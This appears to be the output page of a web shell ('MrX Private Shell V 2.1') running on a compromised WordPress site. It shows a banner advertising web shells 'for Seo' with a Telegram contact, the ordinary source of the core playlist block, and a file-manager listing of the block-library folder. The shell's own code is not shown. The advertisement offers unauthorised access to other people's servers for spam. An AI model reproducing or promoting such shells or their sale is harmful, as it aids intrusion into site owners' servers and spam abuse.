__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/playlist` block.
*
* @package WordPress
*/
/**
* Renders the `core/playlist` block on server.
*
* @since 7.1.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
* @param WP_Block $block The block instance.
*
* @return string Returns the Playlist.
*/
function render_block_core_playlist( $attributes, $content, $block ) {
$playlist_id = wp_unique_id( 'playlist-' );
$playlist_tracks = array();
$tracks_data = array();
$show_play_button_artwork = ! empty( $attributes['showPlayButtonArtwork'] );
// Parse inner blocks to extract track data.
// This approach avoids duplicating track data in the HTML output.
if ( ! empty( $block->inner_blocks ) ) {
foreach ( $block->inner_blocks as $inner_block ) {
if ( 'core/playlist-track' === $inner_block->name ) {
$track_attributes = $inner_block->attributes;
if ( empty( $track_attributes['id'] ) ) {
continue;
}
$track_id = 'track-' . count( $playlist_tracks );
$playlist_tracks[] = $track_id;
// Extract track metadata from block attributes.
$title = isset( $track_attributes['title'] ) && ! empty( $track_attributes['title'] ) ? $track_attributes['title'] : __( 'Unknown title' );
$artist = $track_attributes['artist'] ?? '';
$album = $track_attributes['album'] ?? '';
$image = $track_attributes['image'] ?? '';
$image_alt = $track_attributes['imageAlt'] ?? '';
$url = $track_attributes['src'] ?? '';
$aria_label = $title;
if ( $title && $artist && $album ) {
$aria_label = sprintf(
/* translators: %1$s: track title, %2$s: artist name, %3$s: album name. */
_x( '%1$s by %2$s from the album %3$s', 'track title, artist name, album name' ),
$title,
$artist,
$album
);
}
// Data is passed to wp_interactivity_state() which JSON-encodes it,
// so we use wp_strip_all_tags() instead of esc_html() to prevent
// HTML injection without double-encoding. URLs still use esc_url().
$tracks_data[ $track_id ] = array(
'url' => esc_url( $url ),
'title' => wp_strip_all_tags( $title ),
'artist' => wp_strip_all_tags( $artist ),
'album' => wp_strip_all_tags( $album ),
'image' => esc_url( $image ),
'imageAlt' => wp_strip_all_tags( $image_alt ),
'ariaLabel' => wp_strip_all_tags( $aria_label ),
);
}
}
}
if ( empty( $playlist_tracks ) ) {
return '';
}
wp_enqueue_script_module( '@wordpress/block-library/playlist/view' );
// Add the playlist tracks to the global state,
// but keep them isolated from other playlists with the help of playlistId.
wp_interactivity_state(
'core/playlist',
array(
'playlists' => array(
$playlist_id => array(
'tracks' => $tracks_data,
),
),
)
);
// Add waveform player container with translated button labels.
$label_play = esc_attr__( 'Play' );
$label_pause = esc_attr__( 'Pause' );
$label_seek = esc_attr__( 'Seek' );
/* translators: %1$s: current audio time, %2$s: total audio duration. */
$label_seek_value = esc_attr_x(
'%1$s of %2$s',
'audio current time of total duration'
);
$waveform_color_attribute = '';
$waveform_gradient_attribute = '';
$waveform_background_color_attribute = '';
$waveform_background_gradient_attribute = '';
if ( ! empty( $attributes['waveformColor'] ) ) {
$waveform_color_attribute = sprintf(
' data-waveform-player-color="%s"',
esc_attr( $attributes['waveformColor'] )
);
}
if ( ! empty( $attributes['waveformGradient'] ) ) {
$waveform_gradient_attribute = sprintf(
' data-waveform-player-gradient="%s"',
esc_attr( $attributes['waveformGradient'] )
);
}
if ( ! empty( $attributes['waveformBackgroundColor'] ) ) {
$waveform_background_color_attribute = sprintf(
' data-waveform-player-background-color="%s"',
esc_attr( $attributes['waveformBackgroundColor'] )
);
}
if ( ! empty( $attributes['waveformBackgroundGradient'] ) ) {
$waveform_background_gradient_attribute = sprintf(
' data-waveform-player-background-gradient="%s"',
esc_attr( $attributes['waveformBackgroundGradient'] )
);
}
$html = '<div class="wp-block-playlist__waveform-player"' .
$waveform_color_attribute .
$waveform_gradient_attribute .
$waveform_background_color_attribute .
$waveform_background_gradient_attribute . '
data-wp-watch="callbacks.initWaveformPlayer"
data-label-play="' . $label_play . '"
data-label-pause="' . $label_pause . '"
data-label-seek="' . $label_seek . '"
data-label-seek-value="' . $label_seek_value . '"
></div>';
// Add the waveform player container inside the figure.
$figure = null;
preg_match( '/<figure[^>]*>/', $content, $figure );
if ( ! empty( $figure[0] ) ) {
$content = preg_replace( '/(<figure[^>]*>)/', '$1' . $html, $content, 1 );
}
$processor = new WP_HTML_Tag_Processor( $content );
$processor->next_tag( 'figure' );
$processor->set_attribute( 'data-wp-interactive', 'core/playlist' );
$waveform_style = $attributes['waveformStyle'] ?? 'bars';
$processor->set_attribute(
'data-wp-context',
wp_json_encode(
array(
'playlistId' => $playlist_id,
'currentId' => $playlist_tracks[0],
'isPlaying' => false,
'tracks' => $playlist_tracks,
'waveformStyle' => $waveform_style,
'showPlayButtonArtwork' => $show_play_button_artwork,
'labelPauseTrack' => __( 'Pause' ),
'labelSelectTrack' => __( 'Play' ),
)
)
);
// Track IDs are render-time only. Add them after inner blocks have rendered
// so track buttons can update the Interactivity API state without storing
// persistent unique IDs in post content.
$track_index = 0;
while ( $processor->next_tag( array( 'class_name' => 'wp-block-playlist-track__button' ) ) ) {
$track_id = $playlist_tracks[ $track_index ] ?? null;
if ( null === $track_id ) {
break;
}
$processor->set_attribute(
'data-wp-context',
wp_json_encode(
array(
'trackId' => $track_id,
)
)
);
++$track_index;
}
return $processor->get_updated_html();
}
/**
* Registers the `core/playlist` block on server.
*
* @since 7.1.0
*/
function register_block_core_playlist() {
register_block_type_from_metadata(
__DIR__ . '/playlist',
array(
'render_callback' => 'render_block_core_playlist',
)
);
}
add_action( 'init', 'register_block_core_playlist' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accordion | Folder | 0755 |
|
|
| accordion-heading | Folder | 0755 |
|
|
| accordion-item | Folder | 0755 |
|
|
| accordion-panel | Folder | 0755 |
|
|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| avatar | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| breadcrumbs | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| comment-author-name | Folder | 0755 |
|
|
| comment-content | Folder | 0755 |
|
|
| comment-date | Folder | 0755 |
|
|
| comment-edit-link | Folder | 0755 |
|
|
| comment-reply-link | Folder | 0755 |
|
|
| comment-template | Folder | 0755 |
|
|
| comments | Folder | 0755 |
|
|
| comments-pagination | Folder | 0755 |
|
|
| comments-pagination-next | Folder | 0755 |
|
|
| comments-pagination-numbers | Folder | 0755 |
|
|
| comments-pagination-previous | Folder | 0755 |
|
|
| comments-title | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| details | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| footnotes | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| home-link | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| icon | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| list-item | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| math | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| navigation-link | Folder | 0755 |
|
|
| navigation-overlay-close | Folder | 0755 |
|
|
| navigation-submenu | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| page-list-item | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| pattern | Folder | 0755 |
|
|
| playlist | Folder | 0755 |
|
|
| playlist-track | Folder | 0755 |
|
|
| post-author | Folder | 0755 |
|
|
| post-author-biography | Folder | 0755 |
|
|
| post-author-name | Folder | 0755 |
|
|
| post-comments-count | Folder | 0755 |
|
|
| post-comments-form | Folder | 0755 |
|
|
| post-comments-link | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-navigation-link | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-time-to-read | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-no-results | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| query-total | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| read-more | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| tab-list | Folder | 0755 |
|
|
| tab-panel | Folder | 0755 |
|
|
| tab-panels | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tabs | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| template-part | Folder | 0755 |
|
|
| term-count | Folder | 0755 |
|
|
| term-description | Folder | 0755 |
|
|
| term-name | Folder | 0755 |
|
|
| term-template | Folder | 0755 |
|
|
| terms-query | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| widget-group | Folder | 0755 |
|
|
| accordion-item.php | File | 2.98 KB | 0644 |
|
| accordion.php | File | 1.12 KB | 0644 |
|
| archives.php | File | 4.28 KB | 0644 |
|
| avatar.php | File | 5.51 KB | 0644 |
|
| block.php | File | 3.05 KB | 0644 |
|
| blocks-json.php | File | 205.72 KB | 0644 |
|
| breadcrumbs.php | File | 18.61 KB | 0644 |
|
| button.php | File | 4.11 KB | 0644 |
|
| calendar.php | File | 5.93 KB | 0644 |
|
| categories.php | File | 4.82 KB | 0644 |
|
| comment-author-name.php | File | 2.09 KB | 0644 |
|
| comment-content.php | File | 2.4 KB | 0644 |
|
| comment-date.php | File | 1.82 KB | 0644 |
|
| comment-edit-link.php | File | 1.67 KB | 0644 |
|
| comment-reply-link.php | File | 2.03 KB | 0644 |
|
| comment-template.php | File | 4.39 KB | 0644 |
|
| comments-pagination-next.php | File | 1.88 KB | 0644 |
|
| comments-pagination-numbers.php | File | 1.59 KB | 0644 |
|
| comments-pagination-previous.php | File | 1.75 KB | 0644 |
|
| comments-pagination.php | File | 1.23 KB | 0644 |
|
| comments-title.php | File | 2.72 KB | 0644 |
|
| comments.php | File | 6.63 KB | 0644 |
|
| cover.php | File | 7.23 KB | 0644 |
|
| details.php | File | 1.46 KB | 0644 |
|
| file.php | File | 1.83 KB | 0644 |
|
| footnotes.php | File | 3.73 KB | 0644 |
|
| gallery.php | File | 21.82 KB | 0644 |
|
| heading.php | File | 1.27 KB | 0644 |
|
| home-link.php | File | 4.59 KB | 0644 |
|
| icon.php | File | 4.27 KB | 0644 |
|
| image.php | File | 17.23 KB | 0644 |
|
| index.php | File | 4.98 KB | 0644 |
|
| latest-comments.php | File | 5.49 KB | 0644 |
|
| latest-posts.php | File | 10.21 KB | 0644 |
|
| legacy-widget.php | File | 3.92 KB | 0644 |
|
| list.php | File | 1.24 KB | 0644 |
|
| loginout.php | File | 2.07 KB | 0644 |
|
| media-text.php | File | 4.2 KB | 0644 |
|
| navigation-link.php | File | 16.26 KB | 0644 |
|
| navigation-overlay-close.php | File | 1.72 KB | 0644 |
|
| navigation-submenu.php | File | 10.79 KB | 0644 |
|
| navigation.php | File | 69.23 KB | 0644 |
|
| page-list-item.php | File | 361 B | 0644 |
|
| page-list.php | File | 13.54 KB | 0644 |
|
| paragraph.php | File | 1.11 KB | 0644 |
|
| pattern.php | File | 1.75 KB | 0644 |
|
| playlist-track.php | File | 2.43 KB | 0644 |
|
| playlist.php | File | 6.46 KB | 0644 |
|
| post-author-biography.php | File | 1.49 KB | 0644 |
|
| post-author-name.php | File | 1.92 KB | 0644 |
|
| post-author.php | File | 2.67 KB | 0644 |
|
| post-comments-count.php | File | 1.25 KB | 0644 |
|
| post-comments-form.php | File | 2.74 KB | 0644 |
|
| post-comments-link.php | File | 2.18 KB | 0644 |
|
| post-content.php | File | 2.61 KB | 0644 |
|
| post-date.php | File | 3.61 KB | 0644 |
|
| post-excerpt.php | File | 4.21 KB | 0644 |
|
| post-featured-image.php | File | 9.23 KB | 0644 |
|
| post-navigation-link.php | File | 4.69 KB | 0644 |
|
| post-template.php | File | 5.8 KB | 0644 |
|
| post-terms.php | File | 3.55 KB | 0644 |
|
| post-time-to-read.php | File | 6.26 KB | 0644 |
|
| post-title.php | File | 2.09 KB | 0644 |
|
| query-no-results.php | File | 1.8 KB | 0644 |
|
| query-pagination-next.php | File | 3.59 KB | 0644 |
|
| query-pagination-numbers.php | File | 4.59 KB | 0644 |
|
| query-pagination-previous.php | File | 3.39 KB | 0644 |
|
| query-pagination.php | File | 1.15 KB | 0644 |
|
| query-title.php | File | 2.71 KB | 0644 |
|
| query-total.php | File | 2.41 KB | 0644 |
|
| query.php | File | 5.56 KB | 0644 |
|
| read-more.php | File | 1.8 KB | 0644 |
|
| require-dynamic-blocks.php | File | 5.13 KB | 0644 |
|
| require-static-blocks.php | File | 535 B | 0644 |
|
| rss.php | File | 4.5 KB | 0644 |
|
| search.php | File | 25 KB | 0644 |
|
| shortcode.php | File | 735 B | 0644 |
|
| site-logo.php | File | 6.19 KB | 0644 |
|
| site-tagline.php | File | 1.17 KB | 0644 |
|
| site-title.php | File | 1.82 KB | 0644 |
|
| social-link.php | File | 66.02 KB | 0644 |
|
| tab-list.php | File | 2.27 KB | 0644 |
|
| tab-panel.php | File | 1.63 KB | 0644 |
|
| tabs.php | File | 3.86 KB | 0644 |
|
| tag-cloud.php | File | 1.55 KB | 0644 |
|
| template-part.php | File | 9.73 KB | 0644 |
|
| term-count.php | File | 1.8 KB | 0644 |
|
| term-description.php | File | 1.73 KB | 0644 |
|
| term-name.php | File | 1.99 KB | 0644 |
|
| term-template.php | File | 4.41 KB | 0644 |
|
| video.php | File | 2.67 KB | 0644 |
|
| widget-group.php | File | 2.38 KB | 0644 |
|